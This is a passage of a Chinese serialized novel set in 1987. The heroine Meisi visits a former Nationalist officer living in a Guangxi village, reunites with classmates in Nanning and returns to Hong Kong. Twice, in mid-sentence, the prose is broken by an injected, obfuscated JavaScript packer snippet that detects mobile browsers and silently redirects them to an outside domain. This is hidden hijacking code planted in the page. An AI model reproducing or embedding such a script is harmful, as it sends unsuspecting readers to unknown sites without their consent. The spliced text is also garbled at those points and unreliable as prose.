再往里面走,雕花大床无影无踪,是简单的双人木板床,床头倒扣一本摊开了的《白马金刀》,也不知经过多少人的手,彩绘的人物封皮上一块黄黄的污渍,床尾一个小小的立柜,床头一个小桌上,摆了一台无线电,正在呜哩哇啦播着歌曲。 梅思只觉得两条腿仿佛不是自己的,如同机器人,自动抬脚迈步,在这屋子里走了一圈,还是不必拍照了。 把自己与哥哥的房间都看过,往三姨太的院子走,程嫂乐呵呵地说:“还得说是老爷太太的房子,就是不一样,她们说刚搬进去的时候,墙上粉白粉白的,窗棂雕的花活灵活现,那一股气味哦,虽然灰尘大了些,可就是觉得喷香喷香,我家从前也很想搬进去,只是不够格,就住边上的厢房,听说当初住佣人的……” 虽在恍惚之中,梅思仍捕捉到了那一点:“从前想要搬进来,莫非现在不想了么?” 程嫂笑道:“啊呀黄大小姐,我说这一句话,你不要不高兴,你们家的房子在从前,那当然是顶呱呱,只是这么多年过去,难免破旧些……” 梅思抬手抚摸破损的窗棂,三姨太很爱精致,她的房屋庭院,当年很经过一番收拾。 “况且时代变了么,过去哪怕是大宅子,也没有下水道,厕所不能自动冲水,如今咱们平乐,也起楼房呢,自来水啦,排水管啦,冲水马桶啦,电线也不是这么乱拉的,都走在墙壁里,看着可清爽呢……” 梅思望向房屋四面,许桂珠的地方,自己从前极少踏足,避之唯恐不及,每次不得不过来,总是逃难一般匆匆跑掉了,如今总算得以从容看一看,却也早已不是记忆中的模样。 从许桂珠院子出来,进入后花园,荷花池里的水早已干涸,里面枯枝败叶,葡萄架也无影无踪,变了白菜地,所幸墙角放了几只烂花盆,里面种着菊花,仿佛是没有人浇水,又或者缺少阳光,叶片发黄,蔫头耷拉脑,却终究残存一点风雅气息。 昔日高大坚固的青砖围墙,也已经倾颓了,砖块脱落,露出豁口,时间如同草原民族,破袭了长城。 梅思怔怔地望着园子,昔日是当做乐园的,夏日天气晴好,家里来了客人,前面一片哄闹,自己便钻进这里看书,浓浓的槐树荫遮蔽了小小的人影,任凭宁妈妈四处跑着叫:“三小姐!三小姐!老爷太太要你过去见客!” 自己把身体愈发往树荫中缩去,只掩了嘴偷偷笑,谁也找不见自己,如同逃离了尘世一般,之后问起,便只推“睡着了”。 呆立了几分钟,梅思打开皮包,取出一只小巧的相机,举在面前对了焦,按下快门,咔咔照了几张相。 再转过头来,程嫂目不转睛正盯着自己手里:“啊哟照相机啊,这么小的一个,还亮闪闪的,是海鸥的么?” 收音机里说过的,“海鸥相机,世界先进水平”,是上海做的,上海那个地方,惯常出好东西,真想去大上海逛逛,平乐这么个小地方,憋得人要发霉了。 梅思道:“是佳能的。我也很想买一部海鸥相机。” 101.第一百零一章 梦中人 第一百零一章 梦中人 在平乐停留了三天,又回去桂林,然后去江陵,往延安,本来从延安回来,计划在西安休息两天,便去北京,中国的心脏,红色的首都,这天晚上,陈露云一个电话打到旅馆:“黄菲,找到了钟坤,你什么时候回来?” 梅思顿了一下,立刻说:“我看能不能买到明天的车票。” 然后马上问:“他现在怎么样?” 那边同样是停了一下,才说:“你回来我和你说,反正身体还行。” 梅思马上要旅馆替自己退了车票,重买票,买不到第二天的列车票,但说有一张机票,梅思便订下机票,第二天拖着旅行箱出门,一位男同志给她办理退房手续,望着她的旅行箱,眨眨眼笑道:“真特别,什么牌子的?” 梅思道:“美国旅行者。” “唔,美国货,好用吗?” “挺轻便,还结实。” 铝制旅行箱,底部有轮子,用一条皮带牵着在地上滑动,平地很省力,自己早就喜欢这种旅行箱,只是一直舍不得买,每次经过百货公司,就站在橱窗边看,自己觉得也好笑,明明并不想远行的,这些年的颠沛,实在已经厌倦,却喜欢看旅行箱,觉得和梅林中的野战炊具很是相配,直到那一年去柏翠那里,才下定决心,买下一只新旅行箱。 从西安直抵南宁,陈露云在机场等她,见了面就笑着说:“你可真是,兵贵神速。” 梅思有些不好意思:“多年不通音讯,很是挂念,他还好么?” 陈露云笑容有些含糊:“好还是不好呢,这是一个辩证的问题,假如历史是向另一个方向发展,他如今自然可以算是不得志,但如今是这样的走向,无产阶级胜利,他的景况其实也还过得去。” 钟坤是在桂平的塘村,不通汽车,县城里,陈露云动用关系,为梅思找了一辆往那边送货的车,叮嘱司机:“好好送过去,再送回来,这是从香港过来的,要给人家留个好印象,是重要的宣传统战工作。” 司机师傅拍胸脯担保:“尽管放心,我十二年的老党员,这点觉悟还是有的,绝不给政府丢脸,不能让华侨说咱们没礼貌。” 出了城,柏油路渐渐不见了,变成泥土路,狭窄弯曲的道路因为不见人而显得空旷。 坐在副驾驶的位子上,梅思怀里抱了一个花花绿绿的纸盒,有一搭没一搭和师傅说着话: “辛苦师傅。” “哪里辛苦,反正也是开车。您在海外这么多年,还写了书,真厉害!” “也没什么,只是想家。” “在外面待久了,就想回来,像我们一直在这里,早待腻了,就想着出去看看,什么时候香港随便去,我也过去瞧瞧。” “那也容易,之前已经谈妥了,十年后香港就回归中国。” 大约三年前,中英发表了联合声明,九七年香港回归,登时人心浮动,有名望的人叫嚷着要移民,那氛围,让梅思想到国民政府撤离之前的大陆。 在车里颠了两个多钟头,终于,前方一片房屋,师傅本有些无聊的脸振奋起来:“看,那里就是村子!” 货车在村口停下来,梅思下了车,向师傅道谢:“多谢你。” 师傅一摆手:“没什么的,您快去找人吧,我去吃饭,就在那个馆子,您办完了事,到那里找我就好。” 村口一个小吃店,师傅大步走过去,一个三十几岁的女人迎上来,没睡醒一样,耷拉着眼皮,手里的抹布仿佛很重,推着抹布擦桌面,不情愿地动着嘴唇皮。 梅思往村里便走,此时七月,正是农闲,村中时时可见人影,梅思询问一个四十几岁的女子:“钟坤先生住在哪里?” “钟坤先生?钟坤……钟伯啊,就在那边,你这么拐,再那么拐,过了学校,旁边一个孤零零小房就是。啊哟阿婶,你是从国外回来的吧?真是好体面哦,没想到钟伯竟然有这样体面的亲戚!和你说哦,这些年回来的华侨,真是不少呢,就我们隔壁村子,也有两个,去年从南洋回来,整个村子都轰动,你等等我把米放进去,我带你去。” 那妇女把正在淘洗的米放进屋子里,回身果然带了梅思往里面走,一路亲亲热热,左拐右拐,绕过一幢规格超过寻常的房屋,梅思一瞥那门上,“塘村小学”,只是却也倾颓了。 再往前走,迎面一间破败的小屋,那农妇抢先到门前重重拍门:“钟伯!钟伯!你家亲戚回来看你!” 过了几分钟,里面终于有人应答:“谁啊?” 还是那妇女回应:“你家国外的亲戚啊,千里迢迢来找你,快开门!” 门“吱呀”一声打开,一个龙种的人出现在门前,弓着腰,头发多数白了,在那大片的白发中,还夹着几缕黑发,白得并不纯粹,这样斑驳的发色,显得狼狈。 他仰脸朝门外看:“你是谁?” 梅思在他脸上仔细搜寻昔日的影子,几乎难觅踪迹:“我是梅思,江陵小学校,你还记得吗?” 老汉擦了擦眼屎,怔怔地望了她半晌,这才仿佛梦中猛然惊醒:“梅思,黄菲……果真是你么?” 听他叫出自己的旧名,梅思确定无疑:“是我,我回来了。” 见这两人相对流泪,那位大嫂乐呵呵劝说:“这么多年终于又见了面,应该高兴啊,还站在这里做什么?有话到屋子里去说啊!” 把两个人推到房间里去,自己转身出来,带上了门,快步往回走,迎面撞见一个男人,立马拉住人家:“你可知道么?钟伯亲戚从外国回来了!看着可有钱呢!……” 房屋窗户狭小,室内昏暗,钟坤要点起油灯,梅思忙道:“不用了,看得清的。” 钟坤摇摇头:“我的眼睛可不行了,我想好好看看你。” 依然点亮了油灯。 豆大的光焰下,钟坤又用力揉揉眼睛,对着梅思仔细地看:“梅小姐,你还是那样年轻。” 梅思含笑哽咽道:“不年轻了,已经老了。” “头发乌黑的。” “都是染了的。” “在我心里,你还是当年的梅小姐。” “你也还是当年的钟上尉。” 钟坤摇头:“我知道自己,不一样了,乡下的尘土,把我掩埋了。” 梅思自然问起从前的事:“忽然间失去了你的音信,不知你去了哪里?” 钟坤苦笑:“别提了,广西战败,我们退去了四川,四川也终于不守,解放军便把我们装船,先送到岳阳,从那里辗转遣送回桂平,但不能住在县城中,把我发送到了乡村,就是这里,让我务农,改造思想,就这样一住就是三十年。” 梅思恍然:“难怪我曾经写信到桂平县你家里,没有人回信。” 钟坤道:“我刚回来时,也写信到江陵,杳无音讯,庄校长也再没有信来。” 梅思说:“我并没有接到那封信。啊,很快我便去职了,学校认为我不适合再作□□,我便回了平乐。临走之前我去见庄校长,她正要搬家。” “母亲也搬了家,后来与我一起来乡下。” 所以便阴错阳差,失去了联系。 梅思转头望向房间四面:“太太在么?孩子去了哪里?” 钟坤笑一声:“那位钦差大人没有同你说么?这些年我一直是一个人,像我这样的人,国民党战俘,差不多最后面一批,顽抗到底的,好在还够不上当战犯,只要不是别无选择,哪有女人肯嫁给我?至于孩子,更是不要想了,幸好是没有,倘若有了,连累孩子,政治成分不好,一辈子不得翻身。” 纵然不是为了那一腔痴情,肯因时势而转圜,却也转圜不了。 然后细细诉说当年的事:“成都终究守不住,便投诚了,共产党把官和兵分开,我那时已是中校,重点关照,便给送到教导团,在那里‘学习’了几个月,就去重庆坐船,回了桂平,从此就再也没能离开……你这些年过得怎样呢?” 梅思道:“也不过如此吧,解放之后土改,分了田地房产,我也是有‘黑点’的,便早早去了香港,好容易找到职业,这些年浮浮沉沉,总算顶了过来。” 梅思慢慢地讲,石硖尾的大火,双十的暴乱,六七暴动的炸弹。 钟坤从自己的情绪中稍稍抽离出来,仔细听着,末了叹道:“真希望当时能在你身边。” 自己在桂平,是无声的惨烈,梅思在香港,则是有声的惨烈,战争时代有炸弹,不足为奇,香港并没有与人开战,却也满街炸弹,人类的历史,仿佛永远摆脱不开战争。 身为军人,虽然说不上习惯战争,但毕竟不陌生,而据钟坤所知,梅思虽然去过延安,但没有上过前线,未曾亲眼见过硝烟,这些年她孤身在外,一个女子背井离乡,独自漂泊在香港,该是何其艰难,她能够熬得下来,着实不易,令人钦佩。 梅思微微一笑:“倒是也不很生疏,当年日本人,也往延安扔炸弹。” 钟坤顿时恍然:“是的,他们也轰炸重庆。” 虽然是在后方,未必比前方安全。 起初两人见面,还有些客气拘谨,四十年的时光,是一个不小的距离,然而彼此胸中实在有太多往事需要倾吐,说着说着,便忘却了生疏,尤其是钟坤,尽情诉说,直到肚内咕噜叫了一声,他这才想到:“啊呀,还没有吃午饭。” 梅思抬起左手一看:“三点多了。” 钟坤立起身:“我去烧饭。” 梅思道:“或者不必麻烦,我带了绿豆糕来。” 钟坤摇头,固执地说:“你来了,怎么能不烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906730|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭?很快的。” 便到厨下去生火。 梅思与他一起去了厨房,就是一个土灶,一口锅,钟坤哆哆嗦嗦,从一个烂纸盒里摸出两只鸡蛋,又舀白米,梅思一眼望见有玉米粉:“煮粥来不及了,不如便煮玉米糊。” 钟坤一想,煮粥煮饭总得半个钟头,确实等不得,手便往玉米粉的袋子移去,用饭勺舀了两大勺玉米粉,加水调和成浆,梅思刷了锅,从水缸里舀了水加在里面,便开始烧水,钟坤则是切葱洗青菜,到水开了,便把玉米浆倒进锅中,梅思用木饭勺不住地搅合,钟坤则是加葱加青菜。 梅思侧转了脸望向他,轻声道:“当初在桂林,也是这样烧饭。” 钟坤本来僵硬麻木的脸终于有了一丝生动:“在你家中,我烧火,你煮饭,这些年每次回想,都如同幻梦一样。” “还记得那时我短少锅碗,将要离开桂林,你送了美国兵的锅给我。” 钟坤端起旁边的碗,把蛋液均匀地浇进去:“当时印象很深刻,梅小姐真的是,朴素作风。” 盖上锅盖焖几分钟,揭开盖子加一点盐,又倒了几滴宝贵的香麻油,便是一锅热气腾腾的蛋花玉米糊。 两碗玉米糊端上桌,钟坤有些愧疚地说:“没有什么好吃的,只好将就。” 梅思一笑:“这在延安,已经是高级别,我住在医院里的时候,就想要吃蛋花汤。” 热乎乎的玉米糊下肚,肠胃一片温暖,两个人随意地闲谈:“当年那只美国小煎锅,到现在不时还会用。” 钟坤微笑道:“它能够有用便好。” 许多东西都逝去了,煎锅还在。 吃过这一餐迟来的午饭,梅思再一看手表,已经将近四点半钟。 钟坤很是敏感:“你要走了么?” 梅思道:“洗了碗再回去。” 起身便拣碗。 钟坤忙问:“怎样来的?” “搭货车过来,回去也是那辆车。” “那么你快回去吧,不好让师傅久等,这里比不得桂平……” 比不得桂平有旅馆,夜里谈得完了,到外面招呼一辆黄包车,便送去旅馆,在这一个小山村中,往何处投宿呢?定然是不能住在自己家中的,梅思去过延安,或许不在意条件简陋,然而孤男寡女共处一室,少不得引来风言风语,别看都已经过了花甲,照样有得给人嚼舌根,若说住村长家,又是一场新闻。 梅思坚持洗了碗,好在几乎没有油,清水冲一下便干净,钟坤快快地刷了锅,也是过一遍水就得,放下锅擦干了手,马上便送梅思出去:“去桂平得两三个钟头,到了那里,天都黑了。” 到了村头,一个妇女正在比比划划给几个村人讲说着:“前两天支书查问这事,还以为钟伯又要倒霉,哪知原来交了好运了,好一位体面的阿婶,整个桂平县都找不出这样气派的人物,腕子上是手表哦,金光灿灿!外国人,就是有钱!从前海外关系是特务,现在海外关系可好呢,个个巴不得有海外关系,去年那边村的周嬢嬢,男人回来了,带了好多的钱,她家修瓦房,这一回总算我们村子有人出人头地,不用白羡慕人家了,钟伯走运了……” 钟坤面红耳赤。 这时一个男人冲出屋子吼道:“都什么时候了,还不快来烧饭?” 那妇人给打断了兴头,又不敢回嘴,只得撇下几个听众,噘着嘴怏怏地回家去了。 出了村,钟坤问:“什么时候还来么?” 梅思说:“只怕不容易,不是随意搭得到车,这一次是托露云的关系。” 钟坤点头:“想来便是她,打电话给支书问情况,那一天支书来找我,我还以为又要运动斗争了。” 梅思歉然道:“抱歉惊扰到你。” 钟坤苦笑:“我这些年惊弓之鸟,原与你无关。” 梅思问:“你能来桂平么?住旅馆,我们好好谈几天,费用我来付。” 钟坤摇头:“去县城难。” 卡车在前面先赶出一段路,梅思与钟坤在后面慢慢地走,望着苍茫暮色,钟坤无限伤感:“当年自以为前程似锦,哪知竟是如此结果。” 梅思想了想:“生命是一袭华美的袍,上面爬满了蚤子。” 钟坤把这句话低声念了两三遍,默默回味,又走了一颗,钟坤忽然间想起了什么,叮嘱道:“你回去香港,千万不要给我寄钱,我不要钱。” 梅思想一想:“我汇款过来给村里修学校。” 钟坤松一口气:“那倒是好的,这村子里的小学啊,实在破。” 终于到了不得不分手的时候,梅思紧紧握住钟坤的手:“珍重,我会写信来。” 钟坤给她的两手握住,只觉得仿佛碰着了烙铁,浑身滚烫:“我定然回信的。” 102.第一百零二章 落寞与喧嚣 第一百零二章 落寞与喧嚣 陈露云在桂平等候,两个人当晚同住招待所,双人标间,蓝白格子条纹的棉布床单,简单朴素,国营旅店典型的风格。 冲了淋浴,梅思披了睡袍斜靠在床上,双眼似睁非睁,似闭非闭,陈露云用毛巾擦着头发,从浴室出来,笑着问:“见了面,有何感想?” 梅思睁开眼睛道:“‘人生若只如初见’。” 陈露云脑子里搜索了片刻,笑道:“最美好的就是初见面的时刻,往后纵然没有人世的变幻沧桑,日常琐事也要把人消磨了。” 或者大历史带来的悲怆还更有戏剧性一些,那种跌宕令人回味,倘若只是生活中的鸡毛蒜皮,连写成小说的必要都没有了,太过零碎平淡,没人肯看。 “能让他回县城么?” “历史政策问题,很难讲。啊,你还要去北京么?” 梅思摇头:“不想去了,很累。” 陈露云点点头:“不去也好,你这两个月,可是跑了不少地方,虽说是坐车坐飞机,毕竟辛苦,也已经是这个年纪,不比当年,不好太劳累,该好好歇歇。你是去桂林,还是去南宁?” 梅思道:“我去你那里。” 陈露云登时高兴起来:“就等你这一句话!南宁也是个好地方,不输于桂林呢,你回来了,都没有好好看过,住上十天半月,在南宁痛快逛逛,我已经通知了老同学,能过来的都要过来见见呢。” 梅思感觉简直是一冷一热啊,钟坤那边多冷清,这边就有多热闹。 第二天回去南宁,之后的安排,果然就如同陈露云说的,每天陪着梅思看南宁市容,兑换了外汇券,去友谊商店买东西,梅思纵然本来心情复杂,这样一番游玩,难免分散精神,更何况两天之后,熊晖高明霖从北京赶来,就连麻德芳,都从家里出来了,大家齐聚陈露云的家,七手八脚地做菜。 熊晖哈哈地笑:“黄菲,你的面子真不小,德芳都来了,天知道她多久没出过家门了。” 麻德芳一只袖子空荡荡,含笑靠在门上,说:“把我真说成大小姐了,大门不出,二门不迈的,只不过少出远门罢了。啊,露云,你儿媳妇快生了吧?” 陈露云剖着鱼:“大概下个月,小衣服我已经给做了十几套在那里,只等我那宝贝孙子出生,够他穿到三岁的。” 梅思洗着芹菜,抬头道:“或者是孙女。” “哎呀,确实也可能是呢,不过我还是希望是个男孙。” 高明霖嘎嘎地乐:“露云啊,看看你这觉悟!” 陈露云面色微微一红,却也并不很在意:“我知道这是封建落后,不过我也没办法啊,不由自主就是这样的想法。啊呀和你们说啊,黄菲这一次回来,可真是买了许多东西,照相机她本来有个佳能的,前几天又买一部海鸥的,还买书,丁玲老师的文集。” 麻德芳登时一蹙眉:“好几本呢,你可怎么往回拿?” 书可沉啊,去香港还得过海关。 梅思道:“实在不行,就打包邮寄过去吧。” 陈露云道:“还有那么多的胶卷,都送去照相馆冲洗,两三百张呢,我估计得装几个牛皮纸袋。” 梅思说:“我还嫌拍得不够,在那边的亲朋,都想要看看故乡。” 高明霖叹道:“可惜你没时间去北京。” 那是中国的名片,对外界的窗口,假如能拍一拍北京,天安门故宫香山,该有多好。 -梅思也遗憾:“下一次吧,我还想去上海,苏州杭州。” 陈露云想起旧事:“可说那一年李夫人回来,到处游览,把这些好地方都逛了个遍。” 广西的大新闻呢,重要的接待活动,代总统的大夫人海外归来,中央都重视的,安排到各处游玩,除了南方富庶城市,还去了长沙,自己那一阵耳朵边总听到这事,自己的老同学这一回香港归来,也很想到处走走,等下次不知什么时候了,听她的意思,想去韶山看看,只是为了钟坤的事,没心情成行。 梅思抿嘴笑道:“在香港的广西同乡,都很关注大夫人,说到政府的照顾,都很感动的。” 熊晖脱口一句:“幸好还有大夫人。” 其她几个人恍若未闻,陈露云说着:“午餐肉罐头哪里去了?和你们说,黄菲在香港,就爱吃咱们的梅林午餐肉,我说等她回去,给她带几罐。” 高明霖哈哈地笑:“你倒是该要她从给香港给你带几盒才好,供给香港的,都是挑了又挑,选了又选。” 就在这时,客厅里的收音机大声播报午间新闻:“台湾宣布解除戒严,自从一九四九年五月十九日实行戒严,时隔三十八年,台湾政府终于颁布解严令。” 麻德芳刚刚端了一碟炒花生进饭厅,听得清清楚楚,马上转头冲着里面喊:“台湾解除戒严了!” 厨房里一片哄然。 梅思回想时间,这一天正是一九八七年七月十五号。 老同学聚会一场,梅思又休息两天,便准备回去香港,去广州的车票已经买好,七月十八号是最后一天在南宁,陈露云陪着她去附近公园走走,又去书店。 因为是礼拜六,各处休闲场所人都多,从书店出来,到餐馆吃饭,点了八仙粉,果然鲜美爽滑,梅思不由得又想起:“我们桂林的米粉啊……” 陈露云笑道:“桂林米粉是天下第一的!” 隔壁桌几个年轻女子,看模样仿佛是职员,嘻嘻哈哈也说着话: “这一次进修,你真的不去?不镀这个金,不好评职称的。” “我不去了,没那个闲工夫,我少赚一点没什么,只要我家里那位能出人头地,就行了。” “哈哈哈你可真的是,贤妻良母!。” 那个三十几岁的女子一脸理所当然:“男主外女主内,咱们中国几千年的老规矩呢,传统文化,可惜咱们是新中国,女人也要工作,倘若是过去啊,我就回家去当主妇,专门管家。” “妇女半边天呢,你倒是想回家去了,咱们几个人,就你学历最高,高中毕业呢,那书都白读了。” “半边天自然是半边天,我就顶家里那半边。我就算回家,也要看书的,《知音》!” 说着便一拍桌面上新买的杂志。 她的同伴们都哈哈哈地笑。 梅思不由得便扭转了头去看,飞快一瞥,又转回来,再一看餐桌对面自己的老同学,一脸的惨不忍睹,不忍直视。 陈露云捏着鼻子吃完了这餐饭,两个人乘公交车回到家中,一关了门,陈露云便噼里啪啦一通说:“你能想得到吗?我们当年流血流汗争来的经济权,工作的权利,这一代人马上就要拱手放弃,居然想要去当家庭主妇,家庭主妇是那么好当的吗?就算现实里没看到过,总也该读读小说,男人若是有良心,倒还算侥幸,能那么苟且着,倘若男人一变心,她那日子怎么过?” 梅思让她坐下来,给她倒了一杯水:“香港也是一样的,许多师奶。” 这几年越来越多了。 陈露云喝了几口水,深吸一口气,继续说:“香港是殖民地,本来就那个样子,倒不奇怪,可这是中国!妇女解放多少年了,居然要往回退,把脚自己缠上,我们当年拼了命要走出家门,她们可好,要自己钻进那笼子里去。这就是天上掉下来的权利,便不知道珍惜,一定要吃了苦头,才晓得回头。” 梅思在她旁边坐下,想了一想,慢慢地说:“有这样的想法,倒也不能全怪她,又要从事职业,又要照顾家庭,确实辛苦。” 陈露云渐渐平静下来,回想自己的人生,忽然一阵心酸:“唉,我何尝不知道女人的为难,新中国女人倒是解放了,不过却也依然是累。就说我家里,沈芒总是觉得,家里面太紧张,说错一句话,就是一场□□,这样的家,有不如没有。我晓得写信向组织申诉,是我做错了,婚姻毕竟是两个人的事,组织哪里管得那许多呢?可是我对于家庭,也是有期待的啊,每天回到家里,也想要轻松些。只是我三个孩子,他家里事全不管,要说大女儿不是他亲生,他没感情,情理之中,可是两个小的都是他的,却也不理,学老子‘无为而治’,整天就在那里练毛笔字,全靠我当这个‘后勤部长’,我实在是累啊,在外面忙工作,回到家里还有这些事情,虽然是有保姆,但许多事也要自己做,整个人都要耗干了,我就更没耐性……” 于是便在家里开批斗会:“你是假共产党员,真封建知识分子。” 又哀怜自身:“从前是资产阶级大小姐,现在是无产阶级老妈子。” 沈芒听她抱怨得多了,忍耐不住便要反唇相讥:“你是大小姐么?顶多是小资产阶级。” 于是便引发更激烈的一轮争吵: “你的革命是假的,在社会上说革命,回到家里不革命,□□。” “革命也有分工不同,你不能这样机械地要求平等,这是教条主义!” 沈芒读得书多,理论钻研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913343|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深入,陈露云总是说不过他,于是陈露云便愈发愤怒,冲动之下便给组织写控告信,两个人终于弄到决裂。 梅思静静地听着。 两天之后,二十号,梅思的身影重又出现在石硖尾,这一天是礼拜一,美荷楼里静悄悄,看不到青年人,出出入入只有几个老人。 梅思放下行李,洗了个澡,又给柏翠打了电话,然后便可以休息了?不,还要打扫房间。 两个月不在家中,积了许多灰尘,第二天要去邮局取包裹,一大包书和照片,老同学体贴她,这样沉重的物件,手提回来实在吃力,便提前打包邮寄过来。 之后便是一连串的走访,她先去探望白明珠: “啊哟哟,梅小姐,你可回来了!怎么样?那边怎么样?……啊哟那边的照相机啊,我看看,海鸥的牌子……谢谢你带回来送我,虽说家里有日本货,可这是咱们中国自己的东西,拿在手里,就是故乡的亲切啊!……这得不少钱吧?” “倒是还好。” 港币兑外汇券,并不很贵,中国一直都是急需外汇。 东妹从厨房转回来,陪坐在一旁,手中握着一枚粗粗的银手镯,正在伤感。 梅思转头对她说:“东妹姐,虽然詹妈妈不在了,不过姐姐哥哥都还好,接到你的心意,都很欢喜呢,问你什么时候能回去看看,说如今政策变了,日子会越过越好,等你回去了,要好好招待。” 东妹吸了一下鼻子:“我早就猜到妈没了,不过她们都还在,我就放心了。幺姐,又要你破费,买了镯子给我。” 梅思一笑:“不算什么的。” 吃过了饭,晓得她们有体己话要说,白明珠送到公馆门前,便对东妹说:“你再送送梅小姐。” 东妹答应一声,便拉着梅思跨出门槛:“我们去巴士站。” 站在巴士站前,距离邹公馆已经几百米,梅思便笑着和她说:“那两万多港币,可是派了大用场,兑了人民币,大姐家里计划买一部拖拉机,说要靠这个拖拉机,赚个‘万元户’。” 听到这个,东妹心里高兴:“能有用就好,我这么多年不在家中,都是她们给妈养老送终,我出一点钱,总算稍稍心安。” 梅思笑道:“大姐说了,你什么时候回去,炒田鸡给你吃。可说这一回我去大姐姐家中,孙外甥下田摸了十几只田鸡,炒了一大盘,又香又嫩,我好久不吃辣,吃着特别爽快。” 东妹微微一笑:“捎来的腐乳我刚也尝了,还是老味道,真香。” 梅思咯咯地乐:“二哥说,可惜时节还早,芋头没有成熟,否则捎一筐咱们乡间的大芋头给你,在这边做芋头烧肉啦,烧鸡啦,都蛮好。” 东妹噗嗤一笑:“一筐芋头,可怎么拿?” 梅思毫无为难:“邮寄回来便罢了。” 东妹叹道:“真想念家乡的芋头。” 梅思也惋惜:“真是回去得早了,白蒲枣没吃到,花红也还没熟。” 当年在延安,每到夏末秋初,便可见玲珑的花红,红通通的,又酸又甜,有时候酸倒了牙根,却还想吃,吃了两个花红果,便格外消耗小米饭;白蒲枣与红枣不同,咬起来脆中带绵,有一点仿佛甜甜的棉絮,不像红枣甜得那样鲜明,却也是好吃的,老乡说煮成蜜枣,神仙也爱吃的,自己只吃那样刚采下来的白蒲枣,没有用糖煮过,也觉得很好了,没有甜到发腻,可以当饭。 转瞬梅思又振奋起来:“下一次便赶在九月回去,接近秋凉,许多瓜果菜蔬也都成熟,是吃东西的好季节。” 东妹蹙起双眉:“只是我还不知什么时候能回家。” 自己比不得幺姐,幺姐毕竟是读过书的人,有本事,这些年虽不是大富大贵,但箱子底有钱,自己只是给人帮佣,能赚多少钱?太太已经是慈善的,这几十年自己也不过是攒下七万元,这一次幺姐回桂林,便托她捎回去两万四千块,三位姊姊兄长,不管在还是不在,每家八千元,算是弥补自己这些年来对家里的亏欠,但是说到回桂林,自己可没有那样大的气魄,往来的路费,又总得各处走走看看,得多少钱啊,还不如直接把这笔钱给到家里。 梅思笑着说:“将来的事,将来再说,如今你在家乡也是名人呢,都说你幸亏是当年来了香港,一家姊妹,唯独你最有前程。” 一出手就是两万多,虽然是三家均分,那数目也不小呢。 东妹不由得挺直脊背,微微地笑了起来,终于轮到自己扬眉吐气。 103.第一百零三章 公费医疗不容易享受 第一百零三章 公费医疗不容易享受 先去拜访了白明珠,探望了东妹,又去找曹蔚然,曹蔚然这个年纪,虽然已经不在报社,时不时还会写稿,对时政很是关注,最近正要出一本书。 梅思把装满照片的牛皮纸袋交给他:“曹生,你看哪些能用?” 曹蔚然倒出相片,一张张挑选着:“很不错啊,梅小姐,你很会摄影,拍的这些照片,角度光线都很好。” 虽然与专业摄影师不是一个水平,但能拍成这样,也已经够可以,颇有艺术风味,拍摄的街头巷陌,炊烟灯火,都饱含兴味。 梅思抿嘴一乐:“不枉我练了一年。” 先是跟着白明珠学照相,邹千里看到了,技痒,便也来教自己,还有彩霄,她不只是画画,这几年也摆弄相机,自己向她们学,短期速成,却也小有心得。 曹蔚然感叹:“真想也回去祖国看一看,只是这几年身体不好,便只能看着别人过去。” 不比梅思,在那边有人接应,自己虽然向往红色中国,但在那边缺乏人际关系,中国这些年虽然放松了边境,比从前容易进入,但自己的身体也不太行了,所以竟然没能过去。 梅思笑道:“看相片也是一样。” 曹蔚然点头:“从照片上来看,与从前不同了。” 梅思:“日新月异。” 说起大陆的经济,曹蔚然也很是激动:“资本主义再不能用‘贫穷’来诋毁中国!” 梅思一笑:“是的呢,如今的中国,很讲经济效益的,我遇到的人,差不多每个想的都是怎样赚钱,晓得我是香港过来,便问我香港人都是做什么生意赚钱?……” 曹蔚然本来还欣然,渐渐地便觉得有点不太对劲:“她们只想着问香港赚钱么?” 梅思想一想:“却也不是,也关心香港的政治动向,我回来的路上,有人问起十年前香港的特赦。” 曹蔚然思索片刻:“对警察的特赦?” 梅思点头:“是呀。” 曹蔚然脑子只转动几下,便脱口道:“从前儿子造反老子,如今老子又回来了!” 一九七七年的特赦令啊,那风波着实不小,警察闯入廉政公署,与廉署人员打斗,港督见情况严重,便颁发了特赦令,暂退一步,之前的且放过了,往后绝不姑息,中国自从改开之后,这些年也偶有听说,贪腐成问题,如今居然有人问香港特赦令,这就好像楚庄王,问周鼎的轻重,醉翁之意不在酒啊。 梅思笑一笑:“曹先生还是这样激进。” 的亏你只是听我讲几句,倘若你是在现场,听人家与我说话,还不知要怎样激动。 南宁到广州的火车,不同于广州去香港的船,车上多是中国大陆人,乘车无聊,不是打牌便是聊天,自己这一身穿戴,难免给人注目,便刻意交谈,本以为是要说香港的经济,哪知却问起当年的特赦。 这件事梅思自然是知道啊,那一回去警察总部集会,健莲姐回来便激动地说:“让那些人看看厉害,真要整垮我们,我们也不是好拿捏的!杀鸡还要扑棱翅膀,更何况是人!” 到特赦令发出来,她更加高兴:“本来么,法不责众!这么多人,莫非都要抹了脖子?” 只讲健莲姐的故事,便很生动。 